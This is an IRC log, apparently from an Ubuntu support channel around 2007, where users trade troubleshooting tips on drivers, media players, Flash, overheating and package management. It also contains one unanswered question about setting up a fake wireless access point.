[02:08] <Bluedog> means you have to install libsnack, and it sounds dodgy looking at their forusm
[02:09] <dougsko> ekiga is a cool app for video confrencing
[02:09] <Hansel> based on the screenshot of the pretty girl on the ekiga website I would also recommend it.  :P
[02:10] <user01> how do i change from totem to vlc as the default media plugin?
[02:10] <madcheeze> Bluedog: have you tried the yahoo messenger replacement?
[02:10] <sara> I have a question about an ASUS laptop that I just bought (used) it runs fine under windows but overheats under ubuntu ans Suse. The overheating takes about 1/2 an hour of moderate use.. Ive tried loading lm-sensors and even setting the temp trip-points to no avail.. it simplely seems to want to overheat no matter what modules are loaded
[02:10] <user01> user01: in mozilla
[02:10] <jrib> user01: in firefox?
[02:10] <Hansel> user01 - usually if you right click on a file and choose Open With in gnome/kde it will give you the option.
[02:10] <Bluedog> I don't use yahoo messenger atm
[02:10] <jrib> user01: remove totem and install vlc
[02:10] <jrib> user01: (plugin)
[02:10] <Unshift> 
[02:11] <sara> I hate having to use windows
[02:11] <Unshift> sara: dont
[02:11] <madcheeze> my guess would be kopete or amsn then
[02:11] <thisheregiraffe> oh, Bluedog.. how about kopete
[02:11] <thisheregiraffe> ?
[02:11] <sara> Just surfing the web under ubuntu gets the cpu temp redaing at 80
[02:12] <phixnay> I changed mirrors to http://lug.mtu.edu/ubuntu/ but it is just as slow
[02:12] <sara> reading
[02:12] <Hansel> sara - C or F?
[02:12] <sara> C
[02:12] <Hansel> eww!
[02:12] <Bluedog> I'll look it up :)
[02:12] <Unshift> pentium 4?
[02:12] <sara> the average temperature doing nothing is 70 and it goes up to 8o C when doing any processes
[02:12] <Hansel> sara - well, you could use your processor to fry eggs or something...
[02:12] <sara> yes 3.4  pentium 4
[02:13] <Unshift> :P
[02:13] <Unshift> yep
[02:13] <user01> jrib: im trying to watch the iphone keynote on apple
[02:13] <sara> I now wish I had 2 laptops running at 1.5  lol
[02:13] <dougsko> sara: 80oC?!?! thats insane
[02:13] <Unshift> http://www.hackaday.com/2005/11/26/cooking-with-processors/
[02:13] <dougsko> thats really not good
[02:13] <madcheeze> sara, that is probably a bug... its not actual temp... i wouldnt sweat it
[02:14] <dougsko> yeah that cant be right
[02:14] <compengi> sara, did you check that your vga drivers are installed
[02:14] <adaptr> madcheeze: why wouldn't it be the actual core temp ? my Athlon XP is rated up to 90C
[02:14] <dougsko> sara: what does 'acpi -Vf' say?
[02:14] <Hansel> I would imagine most comps would auto-shut off (at least newer ones) if it got that hot to protect the hardware
[02:14] <NkZ> Thanks a lot guys for your help. See you later!
[02:14] <sara> The fans all work but there is a bug in the kernel , which other people seem to be experiencing that I discovered by accident... If the machine is running hot and you are watching a google video.. if you pull the power plug out, the video gets instaly better
[02:14] <thisheregiraffe> cheers NkZ
[02:15] <adaptr> madcheeze: and a few summers ago it actually ran on 100C for 15 minutes.. when the fan had died.....
[02:15] <sara> one sec checking
[02:15] <Mba7eth> rkv there is no root accout
[02:15] <madcheeze> adaptr: because most motherboards are set to stop running around 60 degrees c. if its running that hot, then you have a cooling problem, not a software driving the unit problem...
[02:15] <Hansel> Does anybody know if ls `yes` does anything bad?  A friend told me to type it but I'm afraid it might do something "bad"
[02:15] <madcheeze> adaptr: especially if she can see it in windows and its not that hot...
[02:15] <user01> jrib: it just freezes now and i have to force quit
[02:15] <sara> the power setting is reveresed for battery mode and not it seems
[02:16] <hakrzcode> Hansel, yes, only does bad things if you are on a date.
[02:16] <phixnay> speedtest says I have 1350.1 Kbps, but synaptic is so slow even with different mirrors
[02:16] <Hansel> hah.
[02:16] <juano_> pr3d4t0r:
[02:16] <sara> acpi -Vf  No support for device type: thermal
[02:16] <hakrzcode> Hansel, other than that, it is a nice way to answer yes to scripts for automation.
[02:16] <dougsko> hakrzcode: just type 'yes' at the console, and youll see what it does
[02:17] <Hansel> hakrzcode, could you type it and tell me what happens?  I'm still a scared.
[02:17] <sara> how can I check the VGA driver situation?
[02:17] <jrib> user01: link me please
[02:17] <Back|Track> anyone know how to setup airsnarf for ubuntu
[02:17] <Back|Track> i googled and recieved nothing of interest
[02:17] <dougsko> Hansel: what he told you will just lock up your terminal, but the 'yes' command just returns the letter y
[02:17] <sara> oops sorry about the acpi -Vf  response.. checked on wrong machine ...duh
[02:17] <Pelo> is there an elegant way of removing an app installed from source ?
[02:18] <Jahooty> how do i get a list of running processes with pids?
[02:18] <Hansel> Pelo - if you kept the install directory you can make uninstall I believe
 how can I check for vga drivers?
[02:18] <user01> jrib: http://events.apple.com.edgesuite.net/j47d52oo/event/
[02:18] <hakrzcode> Hansel, the yes command is just a tool for scripting. useless by itself, unless you are a manager, and need to hear someone say yes.
[02:18] <sara> jahooty  top  ?
[02:18] <gyaresu> sara What card do you have?
[02:18] <Hansel> hah... hakrzcode - I'll keep that in mind.
[02:19] <sara> nvidia
[02:19] <Jahooty> i tried that, but i did not see firefox listed, which is suposedlys till running, and i can't start a new session
[02:19] <Hansel> I would like it better if it would append a "Sir" to the end though...
[02:19] <thisheregiraffe> Jahooty: do 'ps -A' in yer terminal
[02:19] <Hansel> I'll script something.
[02:19] <hakrzcode> haha Hansel.
[02:19] <neuratix> anyone know a good direct connect client for ubuntu?
[02:19] <gyaresu> sara, do you have the linux-resticted-modules and nvidia-glx installed?
[02:19] <Hansel> neuratix,  - you mean like ssh?
[02:19] <Hansel> or VNC?
[02:20] <Jahooty> thanks
[02:20] <sara> nvidia FX
[02:20] <avaricen> http://gnome-look.org/content/download.php?content=51459&id=1 <<
[02:20] <avaricen> ubuntu
[02:20] <neuratix> Hansel: no, like dc++ on windows
[02:20] <Back|Track> anyone know how to setup airsnarf
[02:20] <thisheregiraffe> Jahooty: use the kill command to send messages to processes.  (do kill --help or man kill to get all the facts)
[02:20] <phixnay> ah ok, I'm using the "main server" and it better
[02:20] <sara> i'll check
[02:20] <Jahooty> yeah, but i had to get the pid first
[02:20] <compengi> neuratix, there is frostwire
[02:20] <avaricen> why is the female backside related to ubuntu
[02:20] <Pelo> thanks Hansel , I made a new  make and then sudo make unistall, and it worked
[02:21] <phixnay> ok so now that I have bootchart how do I use it?
[02:21] <neuratix> compengi: i'll give frostwire a try
[02:21] <dougsko> Hansel: so that command, what it says is "ls the result of the yes command". the backticks around the yes command are what makes it "the result of". so it executes, 'ls y' , which is garbage
 whats the easiest way to check if the linux-resticted-module is  installed?
[02:21] <phixnay> synaptic?
[02:22] <jrib> user01: fails to play here as well, in mplayer, totem-gstreamer, gxine, and vlc.  vlc and mplayer both claim:  Unable to determine our source address: This computer has an invalid IP address: 0x0
[02:22] <neuratix> compengi: is it in any repository?
[02:22] <Hansel> dougsko - gracias.
[02:22] <paradoxx> !xen
[02:22] <ubotu> XEN is a virtual machine monitor for x86 that supports execution of multiple guest operating systems with unprecedented levels of performance and resource isolation. Information on installing it for Ubuntu can be found at https://wiki.ubuntu.com/XenOnEdgy
[02:22] <compengi> neuratix, yes
[02:22] <thisheregiraffe> sara: aptitude search linux-restricted-module
[02:22] <gyaresu> sara 'sudo modprobe -l |grep nvidia'
[02:22] <thisheregiraffe> if there is an "i" in the left-hand column in aptitudes listing
[02:22] <thisheregiraffe> that means installed
[02:22] <Jahooty> thanks all btw.
[02:22] <Jahooty> later
[02:22] <user01> jrib: i have the quicktime plugin for vlc insalled too
[02:22] <sara> okay trying
[02:22] <Hansel> If you want to search for installed packages do    sudo apt-cache search whatever
[02:22] <biotrox> !spam
[02:22] <ubotu> Sorry, I don't know anything about spam - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[02:22] <biotrox> !spamfilter
[02:22] <ubotu> spamfilter: The Bayesian spam filter for Emacsen. In component universe, is optional. Version 1.1-2 (edgy), package size 23 kB, installed size 204 kB
[02:23] <phixnay> !bootchart
[02:23] <ubotu> bootchart: boot sequence auditing and chart generator. In component main, is extra. Version 0.9-0ubuntu6 (edgy), package size 96 kB, installed size 192 kB
[02:23] <tapas> what would be the best place to put an cpufreq-set -g performance so that it gets evaluated on boot?
[02:23] <gyaresu> sara so you need to 'uname -a' to find your kernel version then install the linux-rescticted-modules version for that kernel
[02:23] <phixnay> how do I use bootchart?
[02:23] <Hansel> phixnay - man bootchart...
[02:23] <phixnay> genius
[02:24] <gyaresu> sara, followed by nvidia-glx which are the xorg drivers.
[02:24] <phixnay> no manual entry for bootchart
[02:24] <clayg> can someone lemme copy their xorg.conf?
[02:24] <user01> jrib: do you know anything about wine?
[02:24] <clayg> to get up and running?
[02:24] <biotrox> !spamassasin
[02:24] <ubotu> Sorry, I don't know anything about spamassasin - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[02:24] <jrib> user01: not much more than  wine file.exe
[02:24] <Hansel> phixnay - my next recommendation would be the website or google.  :P
[02:24] <Lynoure> clayg: sure.
[02:24] <Back|Track> anyone know airsnarf
[02:24] <phixnay> i got it in synaptic - I just want to boot faster
[02:24] <Hansel> biotrox - need help configuring spamasassin?
[02:24] <dougsko> a great alias to make in your .bashrc is --> alias acs='apt-cache search' . saves a lot of typing
[02:24] <CyfrMonk> opengl broke on my system after installing latest xorg patch - reinstalled envy, but that didn't fix it - any ideas?
[02:24] <user01> jrib: yeah i tried that...to install a nikon program...and it frozen trying to install in cause it didnt work
[02:24] <neuratix> compengi: sure frostwire can use the dc protocol? its description is a gnutella/bittorrent client
[02:25] <biotrox> in ubuntu what kind of spam filter are used
[02:25] <bung>  anyone ever had any problems with their TV out being black and white? i use ati drivers, i figure its some kinda composite setting or something i missing in my xorg.conf
[02:25] <thisheregiraffe> Back|Track: i did a search in aptitude and found airsnort (WLAN sniffer), but nothing called airsnort
[02:25] <thisheregiraffe> err.. airsnarf
[02:25] <Hansel> biotrox - depends on the mail pkg you install... I believe sendmail would use spamassassin.... actually most probably would.  It's the best util out IMHO
[02:25] <mnoir> biotrox: spamassassin
[02:25] <jrib> user01: you can check wine's appdb and #winehq
[02:25] <thisheregiraffe> so, no, i don't know of airsnarf
[02:25] <Madm3rlin> hi
[02:25] <Back|Track> how about setting up a fake AP
[02:25] <Hansel> hi Madm3rlin
[02:25] <Madm3rlin> does anyone here have experience with cedega on a PPC?
[02:25] <Back|Track> using madwifi drivers
[02:26] <Back|Track> and wlanconfig
[02:26] <Hansel> Madm3rlin, nope but if you give us the error we can attempt to help.
[02:26] <Back|Track> i can setup a fake one but hav no idea abot creating a fake HomePage per se
[02:26] <qos> can somebody tell me how to find out which charset my filesystems uses?
[02:26] <Madm3rlin> well
[02:26] <user01> jrib: thanks and do you know where i could get radeon 7500 support?
[02:26] <phixnay> i'm going to try rebooting and seeing if bootchart goes automatically
[02:26] <Madm3rlin> im not sure if anything is wrong yet
[02:26] <Madm3rlin> ValueError: invalid literal for float(): 999.999997MHz
[02:26] <jrib> user01: have you been to !ati?
[02:26] <Madm3rlin> thats when i run cedega in terminal
[02:26] <jrib> Madm3rlin: ask cedega support
[02:26] <Madm3rlin> is there a way to see if my agp drivers are installed properly?
[02:27] <Hansel> Madm3rlin, try strace cedega
[02:27] <DRMacIver> jrib: For what it's worth, there's a patch to java-package which makes it work. :) http://munckfish.net/blog/archive/2006/12/15/howto-packaging-java-6-for-ubuntu/
[02:27] <compengi> neuratix, it's a share program like limewire
[02:27] <user01> jrib: yes i cant find my card listed
[02:27] <DRMacIver> jrib: THanks for the suggestion
[02:27] <Hansel> strace = system trace = gives detailed info about what goes wrong with a process.
[02:27] <Madm3rlin> k
[02:27] <user01> jrib: its on a thinkpad t40
[02:27] <Madm3rlin> i just installed ubuntu on this ppc, and everything is working flawlessly
[02:27] <biotrox> !imho
[02:27] <jrib> DRMacIver: cool, good to know
[02:27] <ubotu> Sorry, I don't know anything about imho - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[02:27] <Madm3rlin> how can i tell if smp is enabled
[02:27] <neuratix> compengi: i need something that may connect to a dchub and is not too confusing to use (like dcgui)
[02:27] <Hansel> biotrox - IMHO = In my humble opinion
[02:27] <jrib> user01: I don't know anything about that specific card
[02:27] <CyfrMonk> Madm3rlin: uname -a
[02:28] <toulouse> how do i check the partitions on my hd?
[02:28] <Madm3rlin> strace gave a lot of info
[02:28] <Hansel> toulouse - cat /etc/fstab
[02:28] <Madm3rlin> anything i can grep for
[02:28] <toulouse> okie dokes
[02:28] <user01> jrib: hmmm the problem is that when i play a dvd the lcd shows the movie and the monitor just shows black
[02:28] <Hansel> toulouse - for more detail I'm sure fdisk can tell you everything... just be careful not to make changes to a mounted filesystem.
[02:28] <Madm3rlin> Linux Local 2.6.17-10-powerpc
[02:28] <Madm3rlin> not smp
[02:28] <toulouse> i just wanna see what partition im going to install another linux on
[02:28] <user01> jrib: but it shows the rest like gnome and everything
[02:28] <CyfrMonk> Madm3rlin: doesn't look like SMP
[02:29] <rogue780> Is there a way to copy the clipboard from windows (client) to linux (server) using VNC?
[02:29] <biotrox> !mailstripper
[02:29] <ubotu> Sorry, I don't know anything about mailstripper - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[02:29] <Hansel> toulouse - fdisk will have that answer on free space...
[02:29] <toulouse> ok
[02:29] <qos> can somebody tell me how to find out which charset my filesystems uses?
[02:29] <Back|Track> user01 i know in windows yu hav to change default video to TV
[02:29] <biotrox> anyone uses mailstripper in ubuntu..?
[02:29] <Back|Track> myabe linux has something simm
[02:29] <CyfrMonk> Madm3rlin: mine says "Linux supernode 2.6.17-10-generic #2 SMP Tue Dec 5 22:28:26 UTC 2006 i686 GNU/Linux"
[02:29] <Hansel> qos - never heard of that being important to know... whats the reasoning behind the inquiry?
[02:29] <Back|Track> get all yur divx codes too
[02:30] <CyfrMonk> Madm3rlin: that with a AMD64 dual-core
[02:30] <toulouse> Hansel: i want to see free space with fdisk, what do i do man?
[02:30] <Madm3rlin> is there a channel to dump a large amt of text to
[02:30] <Hansel> qos - I'm sure if you google it will tell you what filesystem types use what charset
[02:30] <gyaresu> toulouse, 'sudo fdisk -l'
[02:30] <user01> Back|Track: its not a tv though its a monitor
[02:30] <toulouse> ok
[02:30] <Hansel> Madm3rlin,  www.pastebin.com
[02:30] <Flannel> Madm3rlin: for powerPC you need to install the -smp kernel, linux-powerpc-smp
[02:30] <Oni-Dracula> anyone have experience with USB sound cards...as in the ones that come with headsets? I'm having trouble getting it re-detected
[02:31] <Bluedog> trying to use gnome phone manager to bluetooth my phone
[02:31] <Falstius> Oni-Dracula: redetected?
[02:31] <Hansel> Oni-Dracula, lsmod will show you drivers that are loaded... insmod drivername    to have it try to detect hardware that can use the driver
[02:31] <Bluedog> thing is , my phone wants a password
[02:31] <Back|Track> which video card to yu hav
[02:31] <Bluedog> cant put one into gnome phone manager
[02:31] <qos> Hansel, want to set the right setting in my smb.conf. It nessassary to display all signs correctly
[02:31] <Bluedog> any ideas?
[02:31] <Hansel> Oni-Dracula, if you cat /var/log/messages it will probably have the answer to what was previously loaded.. good luck searching
[02:31] <toulouse> Oni-Dracula: once i got mine configured, it messed up my computer's sound, so i had no sound for like a week
[02:31] <gyaresu> Hansel, modprobe not insmod
[02:31] <nuked_omen> Bluedog, try hcitool scan
[02:31] <Bluedog> yup that works, i used to that to get my phones address
[02:31] <nuked_omen> then hcitool cc address.of.phone
[02:31] <CyfrMonk> Has anyone else had trouble with the latest xorg drivers breaking OpenGL? I'm using nvidia binary drivers (from envy)
[02:31] <Hansel> doh, correct!  :)
[02:31] <Bluedog> put that into gnome phone manager as it didnt find it itself
[02:32] <Bluedog> ta
[02:32] <nuked_omen> then gnome-obex-send filename
[02:32] <Hansel> I've been installing new modules...
[02:32] <Oni-Dracula> Falstius, I had it functioning somewhat when I first had it connected, then I disconnected physically...now when I put it back in it's not being picked back up
[02:32] <Oni-Dracula> it kind of messed up amarok
[02:32] <Bluedog> hmm
[02:32] <Bluedog> Phone manager does extra stuff, but I cant give it a password number..
[02:32] <Madm3rlin> what is the config file to edit my resolution
[02:32] <Bluedog> it connects to the phone, but i can only put a number into the phone, not linux
[02:32] <hakrzcode> CyfrMonk, when you do an update of Xorg, you should reinstall your nvidia drivers, it will mess up your libraries, and cause x to crash with opengl apps.
[02:32] <Falstius> Oni-Dracula: you probably can just load and unload the driver (rmmod <driver>, modprobe <driver>).  Use lsmod to list them and guess which one it is.
[02:33] <Oni-Dracula> kk
[02:33] <bulmer> Madm3rlin:  /etc/X11/xorg.conf
[02:33] <Madm3rlin> hansel: http://pastebin.com/857265
[02:33] <Falstius> Oni-Dracula: what's the name of the device?
[02:33] <phixnay> hey does anyone know how to speed up boot time?
[02:33] <CyfrMonk> hakrzcode: I reinstalled binary nvidia drivers, but opengl is still broken (crashes X)
[02:33] <Hansel> phixnay - linuxbios ... like I said before.  For that bootchart thingy read their website  :)
[02:34] <nuked_omen> Bluedog, did you try gnome-obex-send?
[02:34] <Hansel> Madm3rlin, looking...
[02:34] <phixnay> kk what is linuxbios and does it support dual booting?
[02:34] <Madm3rlin> does cedega have a conf file which needs to be edited
[02:34] <Jedrick-> everytime i run sudo apt-get update i receive an error.. it's about the non free packages. why is that?
[02:34] <CyfrMonk> hakrzcode: this happend after I installed the patches today (think they came out yesterday)
[02:34] <gyaresu> phixnay, stop services running in your runlevel that are unecessary.
[02:34] <hakrzcode> I remember from when I used nvidia, that there was the problem with the tls library. It was incorrectly linked. Do not remember the name exactly. I am now in ATI, so I have a whole different set of problems.
[02:34] <gyaresu> CyfrMonk, pastebin the Xorg errors
[02:34] <Madm3rlin> hrm
[02:35] <hakrzcode> CyfrMonk, yes, this happened with me, usually after an X update, when I used Nvidia.
[02:35] <Madm3rlin> how can i tell if my video card is installed correctly
[02:35] <Bluedog> issue is my phone gets the connection, but insists on using a passcode
[02:35] <nuked_omen> !afaik
[02:35] <phixnay> gyaresu: how do I find out what services are in my runlevel?
[02:35] <gyaresu> Jedrick-, pastebin your errors
[02:35] <Bluedog> dont know how to put ths into linux
[02:35] <ubotu> Sorry, I don't know anything about afaik - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[02:35] <Hansel> Madm3rlin, I recommend you google for the following...........          cedega invalid literal for float():
[02:35] <Oni-Dracula> Falstius, snd-usb-audio is "in use"
[02:35] <Madm3rlin> k thx
[02:35] <Hansel> It has tons of results..
[02:35] <Falstius> Oni-Dracula: is one of the other modules using it?
[02:35] <Back|Track> how about setting up a fake AP with a fake web page
[02:35] <nuked_omen> Bluedog, i see
[02:35] <Jedrick-> gyaresu, where? don't know how. im just new here
[02:35] <nuked_omen> Bluedog, switch phones
[02:35] <nuked_omen> :P
[02:36] <Oni-Dracula> Falstius, yes...do I have to rmmod those first?
[02:36] <gyaresu> !pastebin > Jedrick-
[02:36] <Bluedog> lol
[02:36] <gyaresu> phixnay, 'runlevel'
[02:36] <Madm3rlin>  cedega invalid literal for float(): doesnt bring back much
[02:36] <Falstius> Oni-Dracula: yeah
[02:36] <gyaresu> phixnay, 'ls /etc/rc2.d/'
[02:36] <phixnay> gyaresu - that gives N 2
[02:37] <paradoxx> anyone here running ubuntu using xen?
[02:37] <gyaresu> phixnay, all the 'S' ones are active, all the 'K' ones aren't
[02:37] <riotkittie> 1odd
[02:37] <nuked_omen> Bluedog, what phone is it?
[02:37] <riotkittie> err
[02:37] <nuked_omen> so that i make sure i don't buy it :P
[02:37] <phixnay> I only see S ones
[02:37] <Jedrick-> gyaresu, here http://paste.ubuntu-nl.org/1253/
[02:37] <knife> I cannot seem to edi tmy gnome menus properly. I want to add an additional menu next to the "programs,plces,system main menus. But everytime I triy to add one, it just creates it as a submenu of program. Any idea how ot add just a menu or do I have to do it the text way?
[02:37] <phixnay> kk I see ones I probably don't need like bluetooth
[02:38] <NkZ> Good nite again guys: Is there a way to watch videos from a browser besides Totem? If I blow it and replace it with VLC it's all okay?
[02:38] <Hansel> NkZ - mplayer, Totem, VLC...
[02:38] <dm> nkz mp4s have trouble with VLC
[02:38] <Hansel> I use mplayer...
[02:38] <dm> mplayer is buggy IMO
[02:38] <nuked_omen> NkZ, i highly recomend mplayer for playing videos
[02:38] <gyaresu> phixnay, Hey, I just found 'serviceconfig'. cool.
[02:38] <dm> vlc is great but fullscreen mode get annoying, no plotter
[02:39] <phixnay> cool what does it do?
[02:39] <Jedrick-> anyone can help me? i got this error when trying to do "sudo apt-get update"  --> http://paste.ubuntu-nl.org/1253/
[02:39] <neuratix> is there a special way of treating source tarballs in debian/ubuntu? making a deb out of it or something?
[02:39] <Hansel> dm - agreed on the VLC fullscreen.  :(
[02:39] <Jram> at least mplayer is better than totem
[02:39] <nuked_omen> mplayer works so great that i use it even on winders
[02:39] <Oni-Dracula> Falstius, kay...it seems that everything is depending on everyone else so I can't rmmod anything related to snd-usb-audio
[02:39] <Hansel> lol nuked_omen
[02:39] <user01> jrib: hmmm cant get vlc mozilla plugin to work
[02:39] <jrib> nuked_omen: if you want to, you can
[02:39] <NkZ> IMO WMP is better than Totem. And that's a harsh insult. :-P
[02:39] <gyaresu> Jedrick-, your sources.list is using repos that don't exist.
[02:39] <gyaresu> !repos > Jedrick-
[02:39] <guiller> i need help compiz!!! please.... my english is bad but i need help....!!
[02:39] <user01> jrib: says no video
[02:39] <Hansel> !compiz
[02:39] <ubotu> Compiz (compositing window manager) and XGL (X server architecture layered on top of OpenGL) - Howto at http://help.ubuntu.com/community/CompositeManager - Help in #ubuntu-xgl - See http://tinyurl.com/pw5ez for Kubuntu systems
[02:39] <nuked_omen> jrib, if i want what?
[02:40] <dm> hansel i thought that was retarded... Totem crashes on me alot.. VLC never crashes, just that one thing, then it would be perfect
[02:40] <neuratix> is there a special way of treating source tarballs in debian/ubuntu? making a deb out of it or something?
[02:40] <jrib> nuked_omen: oops, wrong name.  Sorry
[02:40] <nuked_omen> guiller, your english has nothing to do with how to run compiz
[02:40] <jrib> neuratix: if you want to, you can
[02:40] <nuked_omen> jrib, no problem
[02:40] <Jedrick-> gyaresu, what should i do then?
[02:40] <Hansel> VLC is very sexy, I will agree.
[02:40] <neuratix> jrib: are there (easy) tools to do so? is there any advantage of first making a deb out of it?
[02:41] <NkZ> That makes it: I will blow Totem and get VLC. -)
[02:41] <jrib> !checkinstall | neuratix
[02:41] <gyaresu> Jedrick-, did you see the repo link? You must have edited your sources.list in the first place.
[02:41] <ubotu> neuratix: checkinstall is a wrapper to "make install", useful for installing programs you compiled. It will create a .deb package, which will be listed in the APT database and can be uninstalled like other packages. See https://help.ubuntu.com/community/CheckInstall - Read the warnings at the top and bottom of that web page, and DO NOT interrupt CheckInstall while it's running!
[02:41] <Hansel> neuratix,  yes... you can create a .deb out of a source .tar.gz.... I recommend just compiling from source though.
[02:41] <jrib> neuratix: advantage is you can easily uninstall what you install
[02:41] <neuratix> okay
[02:41] <neuratix> thanks for help =)
[02:41] <Hansel> its the difference between an    apt-get autoremove and a     make uninstall
[02:42] <guiller> nuked_omen, you use compiz?
[02:42] <Hansel> I will agree that using apt-get to manage ALL installations is nice... but if you took the time to download the source cause no pkg existed I just always compile.
[02:42] <jrib> Hansel: only if the author decides to include a rule for uninstall which isn't always the case though
[02:42] <nuked_omen> guiller, yes once
[02:42] <Jedrick-> i already did.. im trying to upgrade to dapper so i edit the source list but i got those error
[02:42] <Hansel> jrib - never come across a time when they didnt...
[02:42] <CyfrMonk> gyaresu: been digging through Xorg.0.log but no errors to speak of - except an error reading /usr/lib/xserver/SecurityPolicy
[02:43] <NkZ> Thanks for the VLC advice guys. :-)
[02:43] <gyaresu> Hansel, jrib No uninstall >> often. Very annoying. (but checkinstall can also not work)
[02:43] <user01> jrib: did i have to do something in mozilla when i uninstalled totem plugin and installed the vlc plugin?
[02:43] <Hansel> NkZ - that will be $10, thankyou, drive thru.
[02:43] <nuked_omen> guiller, i just followed a guide, it's not that hard
[02:43] <guiller> nuked_omen, i instaled drivers nvidia 1.0-9625 and compiz my SO is ubuntu 6.10 edgy my hardware is gf 6800 xt
[02:43] <nuked_omen> try the one the other guy posted
[02:43] <nuked_omen> guiller, it will run compiz, just follow the instructions
[02:44] <gyaresu> CyfrMonk, some log files would help. I'm not psychic...  :)
[02:44] <Hansel> !compiz > guiller
[02:44] <hakrzcode> CyfrMonk, look in your ~/.xsession-errors
[02:44] <guiller> !compiz
[02:44] <ubotu> Compiz (compositing window manager) and XGL (X server architecture layered on top of OpenGL) - Howto at http://help.ubuntu.com/community/CompositeManager - Help in #ubuntu-xgl - See http://tinyurl.com/pw5ez for Kubuntu systems
[02:44] <gyaresu> hakrzcode, that's a god idea.
[02:44] <phixnay> is this a valid line for Grub?
[02:44] <phixnay> kernel		/boot/vmlinuz-2.6.17-10-generic root=/dev/sda2 ro quiet splash boot: noapic no1apic init=/sbin/bootchartd
[02:45] <jrib> user01: restart the browser
[02:45] <gyaresu> hakrzcode, *good. (thanks)
[02:45] <Bluedog> im having some problems getting flash onto firefox2
[02:45] <Bluedog> the auto install fails :S
[02:45] <jrib> !flash | Bluedog
[02:45] <ubotu> Bluedog: For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[02:45] <hakrzcode> gyaresu, no problem. Xorg.0.log is only problems with Xorg starting, not apps after start.
[02:45] <user01> jrib: yeah i did it says no video
[02:45] <nuked_omen> Bluedog, download and install the installer
[02:45] <Bluedog> I followed the instructions in the top links..
[02:45] <Bluedog> link*
[02:46] <Bluedog> so dont do it via synaptic?
[02:46] <Hansel> Bluedog,  - use the freeformats one... last link.
[02:46] <Flannel> phixnay: all grub sees is the kernel [path to kernel]  [options] , whereh [options]  are passed to the kernel itself.  So yes, that's valid for grub, no it may not be valid for the kernel.
[02:46] <Bluedog> ta
[02:46] <phixnay> Flannel: ok. I'll try it, and if not, I still have the one that works
[02:46] <user01> jrib: do i need to assign vlc plugin somewhere?
[02:46] <jrib> user01: and does about:plugins say vlc is being used now?  And does the player now look different than the totem one?
[02:47] <Hansel> Bluedog - I believe apt-get install flashplugin-nonfree     will fix it...
[02:47] <Hansel> I'm pretty sure thats the one I got.
[02:47] <nuked_omen> Bluedog, i did what i just said and it worked find
[02:47] <nuked_omen> fine
[02:47] <Bluedog> cool ok
[02:47] <Bluedog> Hansel: i did that and it didnt install right
[02:47] <hakrzcode> user01: you can type about:plugins, into any mozilla based browser, to see plugin information.
[02:47] <Bluedog> unpacked fine, but didnt work in firefox
[02:47] <Bluedog> ooh
[02:47] <nuked_omen> gotta go hit the sack
[02:47] <lupine_85> hmm, qemu accessing an LVM partition is pretty slow.. anyone know why? :)
[02:47] <jrib> Hansel: did you restart the browser?
[02:48] <Hansel> jrib - yup...
[02:48] <jrib> Hansel: apt-cache policy flashplugin-nonfree | grep -i Installed
[02:48] <Hansel> jrib - I did apt-cache search  :)
[02:48] <user01> jrib: being used now?  it states it is installed
[02:48] <NkZ> When using my HDB for storage, like, for example downloads, It will give me an error when trying to download things there. Says "Error making directory" in the case of Torrents. What can I do to solve that?
[02:48] <jrib> Hansel: this command is different
[02:49] <Bluedog> which one did you use nuked_omen ?
[02:49] <Bluedog> gnash?
[02:49] <jrib> Hansel: bah, wrong person
[02:49] <nuked_omen> Bluedog, for flash?
[02:49] <Hansel> hah...
[02:49] <Bluedog> yeah
[02:49] <jrib> Bluedog: apt-cache policy flashplugin-nonfree | grep -i Installed
[02:49] <user01> hakrzcode: it says no video when i open up page with mov file
[02:49] <Squee> Wireless Problems:  I have an intel 3945, and it is not working.  The driver is loaded, but the light on the laptop is not on...  Someone suggested I try to restart the pci devices and have it reload the drivers... does anyone know that command for a pci-X bus?
[02:50] <jrib> Bluedog: oh and did you restart the browser?
[02:50] <Hansel> Squee - did you disable it hardware-wise... some laptops have a button you can move to turn wireless on and off.
[02:50] <user01> hakrzcode: mov,qt support installed...and it will play if i download the file
[02:50] <Bluedog> apt get does this:
[02:50] <Bluedog> Setting up flashplugin-nonfree (7.0.68~ubuntu3) ...
[02:50] <Bluedog> Downloading...  done.
[02:50] <Bluedog> automatic installation failed due to network problems or upstream changes
[02:50] <Bluedog> yeah I did :)
[02:50] <rexbron_> hello
[02:50] <Hansel> Bluedog - apt-get update then try
[02:50] <black_abaddon> i have a computer! hehe
[02:50] <nuked_omen> Bluedog, umm, you might wanna restart the X server, i installed a plugin once and it didn't work till i restarted X
[02:50] <jrib> Bluedog: what version of ubuntu?
[02:50] <rexbron_> how can I install ubuntu on a system with 3 primary partitions
[02:50] <hakrzcode> user01, the kaffeine plugin works best for all types of video.
[02:51] <Bluedog> edgy
[02:51] <nuked_omen> Bluedog, http://www.adobe.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash&P2_Platform=Linux&P3_Browser_Version=Netscape4
[02:51] <Squee> Hansel: I cannot use that button in linux, it says in dmesg "atkbd.c: Unknown key pressed (translated set 2, code 0x88 on isa0060/serio0)."
[02:51] <NkZ> When using my HDB for storage, like, for example downloads, It will give me an error when trying to download things there. Says "Error making directory" (Like I am restricted not to use it) in the case of Torrents. What can I do to solve that?
[02:51] <jrib> Bluedog: use edgy-backports and install flash 9 instead (same package name)
[02:51] <Lam_> what the heck is happening to my system? my secondary drive was corrupted, and when i managed to reactive the drive with fsck -f -c to reallocate the bad sectors to retreive the data, the data was trasnferring to my main drive when that drive started saying it has bad sectors when i scanned it no less than a week ago and it was perfectly fine
[02:51] <Bluedog> the apt-cache command says its installed, bit firefox argues
[02:51] <hakrzcode> otherwise, you have to download the movs. @user01
[02:51] <Bluedog> jrib - how do I do that?
[02:51] <Squee> Hansel: It works perfectly in windows
[02:51] <black_abaddon> does anyone here has a computer?
[02:51] <oidia> n o
[02:51] <jrib> !backports | Bluedog
[02:51] <ubotu> Bluedog: If new updated Ubuntu packages are built for an application, then they go into Ubuntu Backports. See https://help.ubuntu.com/community/UbuntuBackports
[02:51] <Hansel> Squee - Linux might not play well with it... you may need to change something in BIOS... :(
